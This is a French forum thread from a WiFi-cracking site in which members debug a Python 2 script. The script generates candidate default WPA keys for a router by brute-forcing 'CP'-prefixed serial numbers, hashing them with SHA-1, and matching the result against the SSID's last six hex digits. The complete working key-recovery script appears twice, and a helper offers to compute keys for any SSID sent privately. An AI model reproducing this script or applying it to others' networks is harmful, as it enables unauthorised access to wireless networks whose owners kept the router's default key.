Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 17-05-2010 21:08:58

MrGun
Membre
Inscription : 17-05-2010
Messages : 10

Correction python, Indentation Error: expected an indented block

Bonjour, je suis sous Osx et j'ai récupéré sur le forum un script en python mais j'ai un problème d'indentation ici:
File "./bbk.py", line 31
    k      snb = 'CP'+str(y)[-2:]+str(w)[-2:]
    ^

Voici le script entier:
#!/usr/bin/python
# -*- coding: mac_roman -*-

import sha
from datetime import date
from optparse import OptionParser


parser = OptionParser()
parser.add_option("-i", "--ssid", dest="ssid",
                  help="SSID of the box", default='')

(options, args) = parser.parse_args()
ssid = options.ssid
if ssid == '':
  print "No key provided. Launch with -h for help."
else:
  print "Searching keys for SSID %s" % ssid
  hexaend = ssid[-6:].lower()
 
  hexvalues = []
  for i in xrange(ord('A'), ord('Z')+1):
    hexvalues.append(hex(i)[-2:].upper())
  for i in xrange(ord('0'), ord('9')+1):
    hexvalues.append(hex(i)[-2:].upper())
 
  candidates = []
  for y in xrange(2008, date.today().year+1):
    print "Year %d..." % y
    for w in xrange(101, 152):
k      snb = 'CP'+str(y)[-2:]+str(w)[-2:]
      for X in hexvalues:
        snb2 = snb+X
        for Y in hexvalues:
         snb3 = snb2+Y
         for Z in hexvalues:
           sn_sha = sha.sha(snb3+Z).hexdigest()
           if sn_sha[-6:] == hexaend:
             candidates.append(sn_sha[:10].upper())
 
  if len(candidates) == 0:
    print "No keys found."
  else:
    print "Candidates:"
    for key in candidates:
      print '  '+key

PS; Script provenant de Vincent.

Merci de me filer un petit coup de main.

Dernière modification par MrGun (17-05-2010 21:15:46)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 17-05-2010 21:14:26

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Correction python, Indentation Error: expected an indented block

Tu devrais préciser que tu essaies de faire tourner ca sur MacOS, ca peut être un détail important wink

Bon, première chose : si tu as bel et bien copié le script exact et que tu as un "k" qui traîne en début de ligne 31, ne cherche même pas plus loin il n'a rien à faire là smile

Pour ce qui est des indentations en elles-mêmes, comme je l'ai dit sur l'autre sujet, tu dois ajouter un niveau (une TAB) à chaque fois que tu entres dans une boucle/condition. Donc en gros ca donne ca :

#!/usr/bin/python
# -*- coding: mac_roman -*-

import sha
from datetime import date
from optparse import OptionParser

parser = OptionParser()
parser.add_option("-i", "--ssid", dest="ssid","SSID of the box", default='')

(options, args) = parser.parse_args()
ssid = options.ssid
if ssid == '':
[TAB]print "No key provided. Launch with -h for help."
else:
[TAB]print "Searching keys for SSID %s" % ssid
[TAB]hexaend = ssid[-6:].lower()

[TAB]hexvalues = []
[TAB]for i in xrange(ord('A'), ord('Z')+1):
[TAB][TAB]hexvalues.append(hex(i)[-2:].upper())
[TAB]for i in xrange(ord('0'), ord('9')+1):
[TAB][TAB]hexvalues.append(hex(i)[-2:].upper())

[TAB]candidates = []
[TAB]for y in xrange(2008, date.today().year+1):
[TAB][TAB]print "Year %d..." % y
[TAB][TAB]for w in xrange(101, 152):
[TAB][TAB][TAB]snb = 'CP'+str(y)[-2:]+str(w)[-2:]
[TAB][TAB][TAB]for X in hexvalues:
[TAB][TAB][TAB][TAB]snb2 = snb+X
[TAB][TAB][TAB][TAB]for Y in hexvalues:
[TAB][TAB][TAB][TAB][TAB]snb3 = snb2+Y
[TAB][TAB][TAB][TAB][TAB]for Z in hexvalues:
[TAB][TAB][TAB][TAB][TAB][TAB]sn_sha = sha.sha(snb3+Z).hexdigest()
[TAB][TAB][TAB][TAB][TAB][TAB]if sn_sha[-6:] == hexaend:
[TAB][TAB][TAB][TAB][TAB][TAB][TAB]candidates.append(sn_sha[:10].upper())

[TAB]if len(candidates) == 0:
[TAB][TAB]print "No keys found."
[TAB]else:
[TAB][TAB]print "Candidates:"
[TAB][TAB]for key in candidates:
[TAB][TAB][TAB]print '[TAB]'+key

Remplace chaque [TAB] par une tabulation, et réessaie pour voir si ca marche (en oubliant pas de taper "python" au début) smile

NB : merci d'utiliser la balise "Code" (les < > bleus dans la barre d'outils) pour taper du code-source, c'est plus lisible wink

Hors Ligne

#3 17-05-2010 21:27:06

MrGun
Membre
Inscription : 17-05-2010
Messages : 10

Re : Correction python, Indentation Error: expected an indented block

Merci antares, t'as vu juste pour l'indentation mais maintenant j'ai:  python /.bbk2.py
/Library/Frameworks/Python.framework/Versions/2.6/Resources/Python.app/Contents/MacOS/Python: can't open file '/.bbk2.py': [Errno 2] No such file or directory

Hors Ligne

#4 17-05-2010 21:32:43

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Correction python, Indentation Error: expected an indented block

Le message me semble pourtant clair, tu es sûr que tu es dans le bon dossier, avec ton terminal ? wink

Tape la commande "ls" pour voir la liste des fichiers présents, si tu n'y vois pas le fameux bbk.py c'est ça ton problème tongue

Tu peux connaître le dossier dans lequel tu te trouves actuellement en tapant "pwd"

Hors Ligne

#5 17-05-2010 21:37:01

MrGun
Membre
Inscription : 17-05-2010
Messages : 10

Re : Correction python, Indentation Error: expected an indented block

Argh bah oui j'avais mis un espace sur le titre de mon dossier, ben du coup il y a toujours mon problème d'indentation :'(

Hors Ligne

#6 17-05-2010 21:41:38

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Correction python, Indentation Error: expected an indented block

Désolé, mais j'ai éclaté ma boule de cristal récemment, donc mes dons de médium sont assez limités actuellement... Si tu ne me donnes pas un peu plus d'info, je peux juste te dire "Ah ben ca c'est con ! " big_smile

Quelle ligne foire (copie-colle)? T'as vérifié le nombre de tabulations ? T'as vérifié que ton éditeur de texte ne convertit pas les tabulations en espaces ? wink

Hors Ligne

#7 17-05-2010 21:50:35

MrGun
Membre
Inscription : 17-05-2010
Messages : 10

Re : Correction python, Indentation Error: expected an indented block

Mdr  désolé. Nan en fait c'est parce que j'avais laissé un "[TAB]".
Alors maintenant c'est:
File "./bbk2.py", line 9
    parser.add_option("-i", "--ssid", dest="ssid","SSID of the box", default='')
SyntaxError: non-keyword arg after keyword arg

Dernière modification par MrGun (17-05-2010 21:55:30)

Hors Ligne

#8 17-05-2010 21:57:02

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Correction python, Indentation Error: expected an indented block

C'est quoi le problème avec cette ligne ? Indentation ? [EDIT] Pas vu ton edit, au temps pour moi

Essaie de la remplacer par ceci :

parser.add_option("-i", "--ssid", dest="ssid",
[TAB]...9x...[TAB]help="SSID of the box", default='')

apparemment c'était comme ca dans le code de base, même si je vois pas trop ce que ca change...

Heu, tant que j'y pense : si tu veux juste les clés possibles pour un seul SSID (de préférence : le tien), envoie le moi en PM et je te renvoie les clés, tout le monde gagnera du temps tongue

Hors Ligne

#9 17-05-2010 22:01:18

MrGun
Membre
Inscription : 17-05-2010
Messages : 10

Re : Correction python, Indentation Error: expected an indented block

Mdr tu m'éclate, oui je t'envoie ça par pm.
Autrement ce n'est pas un problème d'indentation mais de syntaxe, "SyntaxError: non-keyword arg after keyword arg"

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
4 2504 19-04-2016 19:04:54 par 2tlopez51
Unknown error 132 par Better
11 2910 15-03-2016 15:30:40 par JojoDiesel
2 937 26-09-2015 15:48:12 par myst404
2 921 24-03-2015 15:37:44 par root134
2 1068 01-07-2014 23:56:05 par smike2809

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.119 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]